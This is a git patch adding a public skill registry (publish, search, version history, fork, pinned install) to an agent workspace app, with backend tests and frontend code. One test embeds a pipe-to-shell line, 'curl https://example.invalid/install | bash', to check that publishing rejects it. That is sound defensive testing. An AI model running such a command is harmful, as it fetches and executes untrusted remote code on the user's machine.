f"/v1/workspaces/{workspace['id']}/skills/{local['workspace_skill_id']}/publish", + json={"license_spdx": "MIT", "version": "1.0.0", "changelog": "First release"}, + headers=_headers(workspace), + ) + assert response.status_code == 200, response.text + return response.json()["data"] + + +def _join_agent(client, workspace, name="claude", agent_type="claude"): + response = client.post("/v1/join", json={ + "agent_name": name, + "token": workspace["token"], + "network": workspace["id"], + "agent_type": agent_type, + }) + assert response.status_code == 200, response.text + + +def test_publish_search_detail_and_immutable_download(client, workspace): + local = _upload_and_register(client, workspace) + published = _publish(client, workspace, local) + + assert published["namespace"] + assert published["latestVersion"]["version"] == "1.0.0" + assert published["latestVersion"]["sourceMode"] == "mirrored" + assert published["latestVersion"]["contentSha256"] == hashlib.sha256(VALID_SKILL).hexdigest() + + search = client.get("/v1/registry/skills", params={"q": "release notes"}) + assert search.status_code == 200, search.text + assert published["id"] in {item["id"] for item in search.json()["data"]["skills"]} + + detail = client.get(f"/v1/registry/skills/{published['namespace']}/{published['slug']}") + assert detail.status_code == 200, detail.text + versions = detail.json()["data"]["versions"] + assert [(v["version"], v["changelog"]) for v in versions] == [("1.0.0", "First release")] + + version_id = published["latestVersion"]["id"] + download = client.get(f"/v1/registry/versions/{version_id}/download") + assert download.status_code == 200 + assert download.content == VALID_SKILL + assert download.headers["x-content-sha256"] == hashlib.sha256(VALID_SKILL).hexdigest() + + +def test_registry_install_is_pinned_and_limited_to_mvp_agents(client, workspace): + published = _publish(client, workspace, _upload_and_register(client, workspace)) + version_id = published["latestVersion"]["id"] + _join_agent(client, workspace, "claude", "claude") + + installed = client.post( + f"/v1/workspaces/{workspace['id']}/members/claude/skills/install", + json={"skill_id": published["id"], "version_id": version_id}, + headers=_headers(workspace), + ) + assert installed.status_code == 200, installed.text + + events = client.get( + "/v1/events", + params={ + "network": workspace["id"], + "type": "workspace.agent.control", + "target": "openagents:claude", + }, + headers=_headers(workspace), + ).json()["data"]["events"] + event = next(e for e in events if e["payload"].get("action") == "skill.install") + payload = event["payload"]["skill"] + assert payload["source_type"] == "registry" + assert payload["registry_skill_id"] == published["id"] + assert payload["version_id"] == version_id + assert payload["content_sha256"] == hashlib.sha256(VALID_SKILL).hexdigest() + + _join_agent(client, workspace, "gemini", "gemini") + unsupported = client.post( + f"/v1/workspaces/{workspace['id']}/members/gemini/skills/install", + json={"skill_id": published["id"]}, + headers=_headers(workspace), + ) + assert unsupported.status_code == 400 + + +def test_fork_preserves_version_attribution(client, workspace): + published = _publish(client, workspace, _upload_and_register(client, workspace)) + target_data = client.post("/v1/workspaces", json={ + "name": "Fork Target", + "agent_name": "target-agent", + "creator_email": "target@example.com", + }).json()["data"] + target = {"id": target_data["workspaceId"], "token": target_data["token"]} + + forked = client.post( + f"/v1/registry/skills/{published['id']}/fork", + json={"workspace_id": target["id"], "version_id": published["latestVersion"]["id"]}, + headers=_headers(target), + ) + assert forked.status_code == 200, forked.text + assert forked.json()["data"]["forkedFromVersionId"] == published["latestVersion"]["id"] + + local = client.get( + f"/v1/workspaces/{target['id']}/skills/custom", + headers=_headers(target), + ) + assert local.status_code == 200, local.text + copy = next(s for s in local.json()["data"]["skills"] if s["workspace_skill_id"] == forked.json()["data"]["id"]) + assert copy["forked_from_version_id"] == published["latestVersion"]["id"] + + +def test_publication_policy_rejects_zip_and_missing_frontmatter(client, workspace): + no_frontmatter = _upload_and_register(client, workspace, b"# unsafe for public\n", "md") + rejected = client.post( + f"/v1/workspaces/{workspace['id']}/skills/{no_frontmatter['workspace_skill_id']}/publish", + json={"license_spdx": "MIT"}, + headers=_headers(workspace), + ) + assert rejected.status_code == 400 + assert "frontmatter" in rejected.text + + # Registration keeps zip support for private/official use, but public UGC + # remains Markdown-only in this MVP. + zip_local = _upload_and_register(client, workspace, _zip_skill(), "zip", "private-zip") + rejected_zip = client.post( + f"/v1/workspaces/{workspace['id']}/skills/{zip_local['workspace_skill_id']}/publish", + json={"license_spdx": "MIT"}, + headers=_headers(workspace), + ) + assert rejected_zip.status_code == 400 + assert "Markdown" in rejected_zip.text + + pipe_to_shell = _upload_and_register( + client, + workspace, + VALID_SKILL + b"\nRun: curl https://example.invalid/install | bash\n", + "md", + "pipe-to-shell", + ) + rejected_command = client.post( + f"/v1/workspaces/{workspace['id']}/skills/{pipe_to_shell['workspace_skill_id']}/publish", + json={"license_spdx": "MIT"}, + headers=_headers(workspace), + ) + assert rejected_command.status_code == 400 + assert "pipe-to-shell" in rejected_command.text diff --git a/workspace/frontend/components/skills/skills-view.tsx b/workspace/frontend/components/skills/skills-view.tsx index 56e66cdcc..061d28a22 100644 --- a/workspace/frontend/components/skills/skills-view.tsx +++ b/workspace/frontend/components/skills/skills-view.tsx @@ -1,11 +1,11 @@ 'use client'; import { useState, useMemo, useCallback, useEffect } from 'react'; -import { Search, ExternalLink, Star, ArrowRight, Check, Plus, Loader2, AlertCircle, Upload, Package } from 'lucide-react'; +import { Search, ExternalLink, Star, ArrowRight, Check, Plus, Loader2, AlertCircle, Upload, Package, GitFork, Globe2 } from 'lucide-react'; import { cn } from '@/lib/utils'; import { useWorkspace } from '@/lib/workspace-context'; import { workspaceApi } from '@/lib/api'; -import type { WorkspaceCustomSkill } from '@/lib/types'; +import type { RegistrySkill, WorkspaceCustomSkill } from '@/lib/types'; import { AgentAvatar } from '@/components/agents/agent-avatar'; import { Badge } from '@/components/ui/badge'; import { Button } from '@/components/ui/button'; @@ -45,11 +45,22 @@ interface Skill { author?: string; featured?: boolean; // Custom (workspace_file) skills — uploaded .md/.zip packages. - sourceType?: 'catalog' | 'workspace_file'; + sourceType?: 'catalog' | 'workspace_file' | 'registry'; fileId?: string; filename?: string; contentType?: string; packageType?: 'md' | 'zip'; + workspaceSkillId?: string; + registrySkillId?: string; + slug?: string; + namespace?: string; + namespaceName?: string; + version?: string; + versionId?: string; + sourceMode?: 'mirrored' | 'upstream_pointer'; + license?: string; + forkedFromVersionId?: string | null; + installCount?: number; } const CUSTOM_SKILL_ID_RE = /^[a-zA-Z0-9][a-zA-Z0-9._-]*$/; @@ -68,6 +79,38 @@ function customSkillToSkill(c: WorkspaceCustomSkill): Skill { filename: c.filename, contentType: c.contentType, packageType: c.packageType, + workspaceSkillId: c.workspaceSkillId, + registrySkillId: c.registrySkillId, + version: c.version, + versionId: c.versionId, + forkedFromVersionId: c.forkedFromVersionId, + }; +} + +function registrySkillToSkill(skill: RegistrySkill, featured = false): Skill { + const latest = skill.latestVersion || undefined; + return { + id: skill.id, + name: skill.name, + description: skill.summary || skill.description || '', + category: skill.category || 'custom', + tags: skill.tags || [], + author: skill.namespaceName || skill.namespace, + featured, + sourceType: 'registry', + sourceRepo: latest?.sourceRepo || undefined, + sourcePath: latest?.sourcePath || undefined, + packageType: latest?.packageType, + registrySkillId: skill.id, + slug: skill.slug, + namespace: skill.namespace, + namespaceName: skill.namespaceName, + version: latest?.version, + versionId: latest?.id, + sourceMode: latest?.sourceMode, + license: latest?.license, + forkedFromVersionId: skill.forkedFromVersionId, + installCount: skill.installCount, }; } @@ -205,7 +248,7 @@ function categoryLabel(t: TranslateFn, id: string): string { * `skills.catalog.`, which is why the SKILLS array carries no prose. */ function skillDescription(t: TranslateFn, skill: Skill): string { - if (skill.sourceType === 'workspace_file') return skill.description ?? ''; + if (skill.sourceType === 'workspace_file' || skill.sourceType === 'registry') return skill.description ?? ''; return t(`skills.catalog.${skill.id}` as MessageKey); } @@ -281,19 +324,44 @@ function SkillCard({ skill, onSelect }: { skill: Skill; onSelect: (s: Skill) => // Skill Detail // --------------------------------------------------------------------------- -function SkillDetail({ skill, onClose }: { skill: Skill; onClose: () => void }) { +function SkillDetail({ + skill, + onClose, + onRegistryChanged, + onCustomChanged, +}: { + skill: Skill; + onClose: () => void; + onRegistryChanged: () => Promise; + onCustomChanged: () => Promise; +}) { const isCustom = skill.sourceType === 'workspace_file'; + const isRegistry = skill.sourceType === 'registry'; const ghUrl = skill.sourceRepo ? `https://github.com/${skill.sourceRepo}/tree/main/${skill.sourcePath}` : ''; const { agents, refreshWorkspace } = useWorkspace(); const t = useT(); const [installing, setInstalling] = useState(null); + const [acting, setActing] = useState(false); + const [registryDetail, setRegistryDetail] = useState(null); + + useEffect(() => { + if (!isRegistry || !skill.namespace || !skill.slug) { + setRegistryDetail(null); + return; + } + let cancelled = false; + workspaceApi.getRegistrySkill(skill.namespace, skill.slug) + .then(detail => { if (!cancelled) setRegistryDetail(detail); }) + .catch(() => { /* the latest version shown on the card still works */ }); + return () => { cancelled = true; }; + }, [isRegistry, skill.namespace, skill.slug]); const handleInstall = useCallback(async (agentName: string) => { setInstalling(agentName); try { - await workspaceApi.installSkill(agentName, skill.id); + await workspaceApi.installSkill(agentName, skill.id, skill.versionId); // The request only queues the install; the launcher installs the skill // and reports back. Server `skill_status` (installing → installed/failed) // drives the badge from here, picked up by discovery polling. @@ -346,7 +414,38 @@ function SkillDetail({ skill, onClose }: { skill: Skill; onClose: () => void }) return installed.includes(skill.id) ? 'installed' : null; }; - const onlineAgents = agents.filter(a => a.status === 'online'); + const onlineAgents = agents.filter(a => { + if (a.status !== 'online') return false; + if (!isRegistry || skill.sourceMode === 'upstream_pointer') return true; + return ['claude', 'claude-code', 'cursor', 'codex'].includes((a.agentType || '').toLowerCase()); + }); + + const handlePublish = useCallback(async () => { + if (!skill.workspaceSkillId) return; + setActing(true); + try { + const published = await workspaceApi.publishWorkspaceSkill(skill.workspaceSkillId); + await onRegistryChanged(); + toast.success(t('skills.publishSuccess', { skill: published.name })); + } catch (e) { + toast.error(extractErrorMessage(e)); + } finally { + setActing(false); + } + }, [skill, onRegistryChanged, t]); + + const handleFork = useCallback(async () => { + setActing(true); + try { + await workspaceApi.forkRegistrySkill(skill.id, skill.versionId); + await onCustomChanged(); + toast.success(t('skills.forkSuccess', { skill: skill.name })); + } catch (e) { + toast.error(extractErrorMessage(e)); + } finally { + setActing(false); + } + }, [skill, onCustomChanged, t]); return ( { if (!next) onClose(); }}> @@ -470,6 +569,45 @@ function SkillDetail({ skill, onClose }: { skill: Skill; onClose: () => void }) + {isRegistry && ( +
+
+
{t('skills.namespaceVersion')}
+
{skill.namespace}/{skill.slug} · {skill.version || 'upstream'}
+
+
+
{t('skills.license')}
+
{skill.license || 'LicenseRef-Upstream'}
+
+
+ )} + + {isRegistry && registryDetail?.versions && registryDetail.versions.length > 0 && ( +
+
{t('skills.versionHistory')}
+
+ {registryDetail.versions.map((version, index) => ( +
+
+
+
+ v{version.version} + {index === 0 && {t('skills.latest')}} + {version.status === 'yanked' && {t('skills.yanked')}} +
+ {version.changelog &&

{version.changelog}

} +
+ {version.publishedAt && ( + + {new Date(version.publishedAt).toLocaleDateString()} + + )} +
+ ))} +
+
+ )} + {/* Custom (uploaded) skills show the uploaded package instead of a GitHub source / CLI install command. */} {isCustom ? ( @@ -508,10 +646,14 @@ function SkillDetail({ skill, onClose }: { skill: Skill; onClose: () => void })
{t('skills.compatibleWith')}
- {['Claude Code', 'Codex', 'Cursor', 'Gemini CLI', 'OpenCode', 'VS Code', 'Roo Code'].map(a => ( + {(isRegistry && skill.sourceMode === 'mirrored' + ? ['Claude Code', 'Codex', 'Cursor'] + : ['Claude Code', 'Codex', 'Cursor', 'Gemini CLI', 'OpenCode', 'VS Code', 'Roo Code']).map(a => ( {a} ))} - {t('skills.moreCompatible')} + {(!isRegistry || skill.sourceMode === 'upstream_pointer') && ( + {t('skills.moreCompatible')} + )}
@@ -520,6 +662,18 @@ function SkillDetail({ skill, onClose }: { skill: Skill; onClose: () => void }) + {isCustom && skill.packageType === 'md' && skill.workspaceSkillId && ( + + )} + {isRegistry && skill.sourceMode === 'mirrored' && ( + + )} {!isCustom && ghUrl && (
- {selectedSkill && setSelectedSkill(null)} />} + {selectedSkill && ( + setSelectedSkill(null)} + onRegistryChanged={reloadRegistrySkills} + onCustomChanged={reloadCustomSkills} + /> + )} ); diff --git a/workspace/frontend/lib/api.ts b/workspace/frontend/lib/api.ts index eba8c5773..5f61b558e 100644 --- a/workspace/frontend/lib/api.ts +++ b/workspace/frontend/lib/api.ts @@ -23,6 +23,7 @@ import type { WorkspaceAgent, WorkspaceCollaborator, WorkspaceCustomSkill, + RegistrySkill, WorkspaceFile, WorkspaceInvitation, WorkspaceRole, @@ -47,6 +48,11 @@ function mapCustomSkill(raw: Record): WorkspaceCustomSkill { contentType: (raw.content_type || raw.contentType) as string | undefined, packageType: (raw.package_type || raw.packageType || 'md') as 'md' | 'zip', createdAt: (raw.created_at || raw.createdAt) as string | undefined, + workspaceSkillId: (raw.workspace_skill_id || raw.workspaceSkillId) as string | undefined, + version: raw.version as string | undefined, + versionId: (raw.version_id || raw.versionId) as string | undefined, + registrySkillId: (raw.registry_skill_id || raw.registrySkillId) as string | undefined, + forkedFromVersionId: (raw.forked_from_version_id || raw.forkedFromVersionId) as string | undefined, }; } @@ -227,10 +233,10 @@ class WorkspaceApi { return this.request('/v1/workspaces/skill-catalog'); } - async installSkill(agentName: string, skillId: string): Promise { + async installSkill(agentName: string, skillId: string, versionId?: string): Promise { return this.request(`/v1/workspaces/${this.workspaceId}/members/${agentName}/skills/install`, { method: 'POST', - body: JSON.stringify({ skill_id: skillId }), + body: JSON.stringify({ skill_id: skillId, version_id: versionId }), }); } @@ -290,6 +296,55 @@ class WorkspaceApi { }); } + /** Search public skills. The endpoint is intentionally usable without login. */ + async getRegistrySkills(query = '', category?: string): Promise { + const params = new URLSearchParams(); + if (query.trim()) params.set('q', query.trim()); + if (category && category !== 'all' && category !== 'custom') params.set('category', category); + params.set('limit', '100'); + const raw = await this.request<{ skills: RegistrySkill[] }>(`/v1/registry/skills?${params}`); + return raw.skills || []; + } + + async getRegistrySkill(namespace: string, slug: string): Promise { + return this.request( + `/v1/registry/skills/${encodeURIComponent(namespace)}/${encodeURIComponent(slug)}`, + ); + } + + async publishWorkspaceSkill( + workspaceSkillId: string, + options: { license?: string; version?: string; changelog?: string } = {}, + ): Promise { + return this.request( + `/v1/workspaces/${this.requireWorkspace()}/skills/${workspaceSkillId}/publish`, + { + method: 'POST', + body: JSON.stringify({ + license_spdx: options.license || 'MIT', + version: options.version, + changelog: options.changelog || 'Initial public release', + }), + }, + ); + } + + async forkRegistrySkill(skillId: string, versionId?: string): Promise { + const raw = await this.request>(`/v1/registry/skills/${skillId}/fork`, { + method: 'POST', + body: JSON.stringify({ workspace_id: this.requireWorkspace(), version_id: versionId }), + }); + // The fork response is intentionally compact. Refreshing getCustomSkills() + // supplies the full file and version metadata to the UI. + return mapCustomSkill({ + ...raw, + id: raw.slug, + workspace_skill_id: raw.id, + package_type: 'md', + source_type: 'workspace_file', + }); + } + async updateChannel(channelName: string, updates: { title?: string; status?: string; starred?: boolean; masterAgent?: string; orchestrationMode?: string; orchestrationInstruction?: string | null }): Promise { // Map camelCase fields → snake_case for the backend. const { masterAgent, orchestrationMode, orchestrationInstruction, ...rest } = updates; diff --git a/workspace/frontend/lib/i18n/messages/en-US.ts b/workspace/frontend/lib/i18n/messages/en-US.ts index 1f484788d..9f53a71c9 100644 --- a/workspace/frontend/lib/i18n/messages/en-US.ts +++ b/workspace/frontend/lib/i18n/messages/en-US.ts @@ -1007,6 +1007,15 @@ export const messages = { compatibleWith: 'Compatible With', moreCompatible: '+10 more', viewOnGitHub: 'View on GitHub', + namespaceVersion: 'Namespace / Version', + license: 'License', + versionHistory: 'Version history', + latest: 'latest', + yanked: 'yanked', + publishPublic: 'Publish public version', + publishSuccess: '{skill} was published to the public registry', + forkToWorkspace: 'Fork to workspace', + forkSuccess: '{skill} was forked to this workspace', uploadTitle: 'Upload custom skill', uploadPackageLabel: 'Skill package (.md or .zip)', diff --git a/workspace/frontend/lib/i18n/messages/zh-CN.ts b/workspace/frontend/lib/i18n/messages/zh-CN.ts index 509719cb7..556f7b757 100644 --- a/workspace/frontend/lib/i18n/messages/zh-CN.ts +++ b/workspace/frontend/lib/i18n/messages/zh-CN.ts @@ -980,6 +980,15 @@ export const messages: Messages = { compatibleWith: '兼容', moreCompatible: '等 10 余种', viewOnGitHub: '在 GitHub 上查看', + namespaceVersion: '命名空间 / 版本', + license: '许可证', + versionHistory: '版本历史', + latest: '最新', + yanked: '已撤回', + publishPublic: '发布公开版本', + publishSuccess: '{skill} 已发布到公开技能库', + forkToWorkspace: '二创到工作区', + forkSuccess: '{skill} 已二创到当前工作区', uploadTitle: '上传自定义技能', uploadPackageLabel: '技能包(.md 或 .zip)', diff --git a/workspace/frontend/lib/types.ts b/workspace/frontend/lib/types.ts index 5d1bcf8c5..324618313 100644 --- a/workspace/frontend/lib/types.ts +++ b/workspace/frontend/lib/types.ts @@ -76,6 +76,48 @@ export interface WorkspaceCustomSkill { contentType?: string; packageType: 'md' | 'zip'; createdAt?: string; + workspaceSkillId?: string; + version?: string; + versionId?: string; + registrySkillId?: string; + forkedFromVersionId?: string; +} + +export interface RegistrySkillVersion { + id: string; + version: string; + versionSeq: number; + status: 'published' | 'yanked'; + sourceMode: 'mirrored' | 'upstream_pointer'; + sourceRepo?: string | null; + sourcePath?: string | null; + contentSha256?: string | null; + packageType: 'md' | 'zip'; + license: string; + attribution: Record; + capabilities: Record; + scanResult: Record; + changelog?: string; + publishedAt?: string | null; +} + +export interface RegistrySkill { + id: string; + slug: string; + namespace: string; + namespaceName: string; + name: string; + summary: string; + description: string; + category: string; + tags: string[]; + visibility: 'public'; + status: 'active'; + forkedFromVersionId?: string | null; + installCount: number; + latestVersion?: RegistrySkillVersion | null; + versions?: RegistrySkillVersion[]; + createdAt?: string | null; } export interface WorkspaceSession { From 77bfb4fbe51c50134a81261988e1a4507da751b6 Mon Sep 17 00:00:00 2001 From: Quan Cheng Date: Fri, 7 Aug 2026 11:25:08 +0800 Subject: [PATCH 2/5] fix harden skill registry publishing and versioning --- workspace/backend/app/main.py | 11 + workspace/backend/app/routers/registry.py | 58 +++-- workspace/backend/app/routers/workspaces.py | 44 +++- workspace/backend/app/skill_registry.py | 216 ++++++++++++------ .../backend/tests/test_skill_registry.py | 140 +++++++++++- .../components/skills/skills-view.tsx | 103 +++++++-- workspace/frontend/lib/api.ts | 5 +- workspace/frontend/lib/i18n/messages/en-US.ts | 8 + workspace/frontend/lib/i18n/messages/zh-CN.ts | 8 + workspace/frontend/lib/types.ts | 1 + 10 files changed, 472 insertions(+), 122 deletions(-) diff --git a/workspace/backend/app/main.py b/workspace/backend/app/main.py index 0f95de9fc..2cfdbeb7d 100644 --- a/workspace/backend/app/main.py +++ b/workspace/backend/app/main.py @@ -374,6 +374,17 @@ async def lifespan(app: FastAPI): except Exception as e: logger.error("LIFESPAN: database import failed: %s", e) + # Sync the curated Skill catalog once at boot, never from anonymous GET + # requests. The bootstrap takes a PostgreSQL advisory transaction lock, so + # rolling deploys and multi-worker startup cannot race on unique slugs. + try: + from app.skill_registry import bootstrap_builtin_registry + await asyncio.to_thread(bootstrap_builtin_registry) + except Exception as e: + # Keep the rest of Workspace available if a deployment starts before + # migration 030 is applied; Registry endpoints will simply be empty. + logger.error("LIFESPAN: skill registry bootstrap failed: %s", e) + logger.info("LIFESPAN: creating timer task") timer_task = asyncio.create_task(_timer_loop()) diff --git a/workspace/backend/app/routers/registry.py b/workspace/backend/app/routers/registry.py index 588954082..1188e8fe6 100644 --- a/workspace/backend/app/routers/registry.py +++ b/workspace/backend/app/routers/registry.py @@ -2,7 +2,6 @@ """Public Skill Registry and workspace publish/fork endpoints (MVP).""" import hashlib -import os import re import uuid from datetime import datetime, timezone @@ -14,7 +13,7 @@ from sqlalchemy import Text, cast, func, or_, select from sqlalchemy.orm import Session -from app.access import resolve_current_user, verify_workspace_access +from app.access import resolve_current_user, resolve_user_role, role_at_least, verify_workspace_access from app.database import get_db from app.models import ( FileRecord, @@ -30,7 +29,6 @@ from app.skill_registry import ( PUBLIC_LICENSES, create_workspace_version, - ensure_builtin_registry, materialize_legacy_workspace_skills, scan_public_markdown, slugify, @@ -41,7 +39,7 @@ class PublishRequest(BaseModel): - license_spdx: str = "MIT" + license_spdx: str version: Optional[str] = None changelog: str = "Initial public release" @@ -116,7 +114,6 @@ def search_registry_skills( offset: int = Query(0, ge=0), db: Session = Depends(get_db), ): - ensure_builtin_registry(db) query = ( select(RegistrySkill, SkillNamespace, RegistrySkillVersion) .join(SkillNamespace, SkillNamespace.id == RegistrySkill.namespace_id) @@ -127,13 +124,14 @@ def search_registry_skills( query = query.where(RegistrySkill.category == category) term = q.strip().lower() if term: - pattern = f"%{term}%" + escaped = term.replace("\\", "\\\\").replace("%", "\\%").replace("_", "\\_") + pattern = f"%{escaped}%" query = query.where(or_( - func.lower(RegistrySkill.name).like(pattern), - func.lower(RegistrySkill.slug).like(pattern), - func.lower(RegistrySkill.summary).like(pattern), - func.lower(SkillNamespace.display_name).like(pattern), - cast(RegistrySkill.tags, Text).ilike(pattern), + func.lower(RegistrySkill.name).like(pattern, escape="\\"), + func.lower(RegistrySkill.slug).like(pattern, escape="\\"), + func.lower(RegistrySkill.summary).like(pattern, escape="\\"), + func.lower(SkillNamespace.display_name).like(pattern, escape="\\"), + func.lower(cast(RegistrySkill.tags, Text)).like(pattern, escape="\\"), )) rows = db.execute( query.order_by(RegistrySkill.install_count.desc(), RegistrySkill.created_at.desc()) @@ -148,7 +146,6 @@ def search_registry_skills( @router.get("/registry/skills/{namespace_slug}/{skill_slug}") def get_registry_skill(namespace_slug: str, skill_slug: str, db: Session = Depends(get_db)): - ensure_builtin_registry(db) row = db.execute( select(RegistrySkill, SkillNamespace) .join(SkillNamespace, SkillNamespace.id == RegistrySkill.namespace_id) @@ -219,8 +216,12 @@ def publish_workspace_skill( workspace = db.get(Workspace, workspace_id) if not workspace: return json_response(ResponseCode.NOT_FOUND, "Workspace not found") - if not verify_workspace_access(workspace, x_workspace_token, authorization, db=db, min_role="member"): - return json_response(ResponseCode.UNAUTHORIZED, "Invalid workspace credentials") + user = resolve_current_user(db, authorization) + if user is None: + return json_response(ResponseCode.UNAUTHORIZED, "Sign in is required to publish a public skill") + role = resolve_user_role(db, workspace, authorization) + if not role_at_least(role, "member"): + return json_response(ResponseCode.FORBIDDEN, "Workspace membership is required to publish") if body.license_spdx not in PUBLIC_LICENSES: return json_response(ResponseCode.BAD_REQUEST, "Public skills require a derivative-friendly license") @@ -246,32 +247,38 @@ def publish_workspace_skill( except (FileNotFoundError, ValueError) as exc: return json_response(ResponseCode.BAD_REQUEST, str(exc)) - user = resolve_current_user(db, authorization) - namespace_slug = slugify(user.display_name or user.email.split("@", 1)[0]) if user else slugify(f"ws-{workspace.slug}") + namespace_slug = slugify(user.display_name or user.email.split("@", 1)[0]) namespace = db.execute(select(SkillNamespace).where(SkillNamespace.slug == namespace_slug)).scalar_one_or_none() - if namespace and user and namespace.owner_user_id not in (None, user.id): - namespace_slug = slugify(f"{namespace_slug}-{str(user.id)[:8]}") - namespace = None + if namespace and not (namespace.type == "user" and namespace.owner_user_id == user.id): + base_slug = slugify(f"{namespace_slug}-{str(user.id)[:8]}") + namespace_slug = base_slug + namespace = db.execute(select(SkillNamespace).where(SkillNamespace.slug == namespace_slug)).scalar_one_or_none() + counter = 2 + while namespace and not (namespace.type == "user" and namespace.owner_user_id == user.id): + namespace_slug = slugify(f"{base_slug}-{counter}") + namespace = db.execute(select(SkillNamespace).where(SkillNamespace.slug == namespace_slug)).scalar_one_or_none() + counter += 1 if namespace is None: namespace = SkillNamespace( slug=namespace_slug, type="user", - owner_user_id=user.id if user else None, - display_name=(user.display_name or user.email) if user else (workspace.creator_email or workspace.name), + owner_user_id=user.id, + display_name=user.display_name or user.email, ) db.add(namespace) db.flush() registry_skill = db.get(RegistrySkill, local.registry_skill_id) if local.registry_skill_id else None + public_slug = slugify(local.slug) if registry_skill is None: registry_skill = db.execute(select(RegistrySkill).where( RegistrySkill.namespace_id == namespace.id, - RegistrySkill.slug == local.slug, + RegistrySkill.slug == public_slug, )).scalar_one_or_none() if registry_skill is None: registry_skill = RegistrySkill( namespace_id=namespace.id, - slug=local.slug, + slug=public_slug, name=local.name, summary=local.summary or frontmatter.get("description", ""), category=local.category, @@ -330,7 +337,7 @@ def publish_workspace_skill( }, capabilities={"scripts": False, "network": "declared-in-instructions"}, scan_result=scan_result, - published_by_user_id=user.id if user else None, + published_by_user_id=user.id, ) db.add(version) db.flush() @@ -382,7 +389,8 @@ def fork_registry_skill( file_id = str(uuid.uuid4()) filename = f"{target_slug}.md" storage_key = get_file_store().save(str(workspace.id), file_id, filename, data) - created_by = "human:user" + user = resolve_current_user(db, authorization) + created_by = f"human:{user.email}" if user else "human:user" record = FileRecord( id=file_id, workspace_id=workspace.id, diff --git a/workspace/backend/app/routers/workspaces.py b/workspace/backend/app/routers/workspaces.py index ef6148f79..60f3ca49f 100644 --- a/workspace/backend/app/routers/workspaces.py +++ b/workspace/backend/app/routers/workspaces.py @@ -893,13 +893,17 @@ async def install_skill( # Built-in catalog first; then workspace-private skills, then a public # registry UUID. New clients pin an immutable registry version. skill = find_skill(body.skill_id) - custom = None if skill else _custom_skills_map(workspace).get(body.skill_id) + custom = None registry_skill = None registry_version = None if not skill: from app.models import RegistrySkill, RegistrySkillVersion, WorkspaceSkill, WorkspaceSkillVersion from app.skill_registry import materialize_legacy_workspace_skills materialize_legacy_workspace_skills(db, workspace) + # Normalized versions are authoritative. Legacy JSON remains only as a + # fallback for rows that could not yet be materialized (for example a + # missing historical file), so v2/v3 installs can never silently use + # the first uploaded file. local_skill = db.execute(select(WorkspaceSkill).where( WorkspaceSkill.workspace_id == workspace.id, WorkspaceSkill.slug == body.skill_id, @@ -918,6 +922,8 @@ async def install_skill( "package_type": local_version.package_type, "version_id": local_version.id, } + if not custom: + custom = _custom_skills_map(workspace).get(body.skill_id) if not custom: registry_skill = db.execute(select(RegistrySkill).where( RegistrySkill.id == body.skill_id, @@ -977,6 +983,7 @@ async def install_skill( "filename": custom.get("filename"), "content_type": custom.get("content_type"), "package_type": custom.get("package_type"), + "version_id": custom.get("version_id"), }, }) elif registry_version: @@ -1010,18 +1017,23 @@ async def install_skill( }, }) from app.models import AgentSkillInstallation + selected_version_id = ( + registry_version.id if registry_version + else custom.get("version_id") if custom + else None + ) installation = db.get(AgentSkillInstallation, (workspace.id, agent_name, status_skill_id)) if installation is None: installation = AgentSkillInstallation( workspace_id=workspace.id, agent_name=agent_name, skill_id=status_skill_id, - version_id=registry_version.id if registry_version else None, + version_id=selected_version_id, state="installing", ) db.add(installation) else: - installation.version_id = registry_version.id if registry_version else installation.version_id + installation.version_id = selected_version_id or installation.version_id installation.state = "installing" installation.error = None installation.updated_at = datetime.now(timezone.utc) @@ -1034,7 +1046,7 @@ async def install_skill( return success_response({ "agentName": agent_name, "skillId": status_skill_id, - "versionId": registry_version.id if registry_version else None, + "versionId": selected_version_id, "action": "installing", "state": "installing", "installedSkills": list(skills_data.get("installed", [])), @@ -1264,6 +1276,9 @@ async def list_custom_skills( from app.skill_registry import materialize_legacy_workspace_skills materialize_legacy_workspace_skills(db, workspace) + # Listing is the one lazy-migration call site that has no later write, so + # it explicitly owns and commits the conversion transaction. + db.commit() skills = db.execute( select(WorkspaceSkill).where( WorkspaceSkill.workspace_id == workspace.id, @@ -1291,8 +1306,23 @@ async def list_custom_skills( "version_id": version.id if version else None, "registry_skill_id": skill.registry_skill_id, "forked_from_version_id": skill.forked_from_version_id, + "unavailable": not bool(file_rec and file_rec.status == "active"), "created_at": skill.created_at.isoformat() if skill.created_at else None, }) + normalized_slugs = {skill.slug for skill in skills} + legacy = _custom_skills_map(workspace) + for legacy_id, entry in legacy.items(): + legacy_slug = entry.get("id") or legacy_id + if legacy_slug in normalized_slugs: + continue + file_rec = db.get(FileRecord, entry.get("file_id")) if entry.get("file_id") else None + payload.append({ + **entry, + "id": legacy_slug, + "workspace_skill_id": None, + "source_type": "workspace_file", + "unavailable": not bool(file_rec and file_rec.status == "active"), + }) return success_response({"skills": payload}) @@ -1320,7 +1350,7 @@ async def register_custom_skill( is_valid_skill_id, ) from app.models import FileRecord, WorkspaceSkill - from app.skill_registry import create_workspace_version, materialize_legacy_workspace_skills, slugify + from app.skill_registry import create_workspace_version, materialize_legacy_workspace_skills from app.skill_catalog import find_skill from app.storage import get_file_store @@ -1360,7 +1390,7 @@ async def register_custom_skill( existing = _custom_skills_map(workspace) duplicate = db.execute(select(WorkspaceSkill.id).where( WorkspaceSkill.workspace_id == workspace.id, - WorkspaceSkill.slug == slugify(skill_id), + WorkspaceSkill.slug == skill_id, WorkspaceSkill.status == "active", )).first() if skill_id in existing or duplicate: @@ -1400,7 +1430,7 @@ async def register_custom_skill( # still read it; all new endpoints prefer the rows above. local_skill = WorkspaceSkill( workspace_id=workspace.id, - slug=slugify(skill_id), + slug=skill_id, name=entry["name"], summary=entry["description"], category=CUSTOM_SKILL_CATEGORY, diff --git a/workspace/backend/app/skill_registry.py b/workspace/backend/app/skill_registry.py index 5ee18e62d..3e6ad0dd2 100644 --- a/workspace/backend/app/skill_registry.py +++ b/workspace/backend/app/skill_registry.py @@ -2,10 +2,12 @@ """Core helpers shared by workspace skill authoring and the public registry.""" import hashlib +import logging import re +import threading from datetime import datetime, timezone -from sqlalchemy import select +from sqlalchemy import select, text from sqlalchemy.orm import Session from app.models import ( @@ -23,6 +25,8 @@ PUBLIC_LICENSES = {"MIT", "Apache-2.0", "CC-BY-4.0", "CC-BY-SA-4.0"} _SLUG_RE = re.compile(r"[^a-z0-9-]+") _BIDI = {"\u202a", "\u202b", "\u202d", "\u202e", "\u2066", "\u2067", "\u2068", "\u2069"} +_BOOTSTRAP_LOCK = threading.Lock() +logger = logging.getLogger(__name__) def slugify(value: str, fallback: str = "skill") -> str: @@ -134,9 +138,11 @@ def 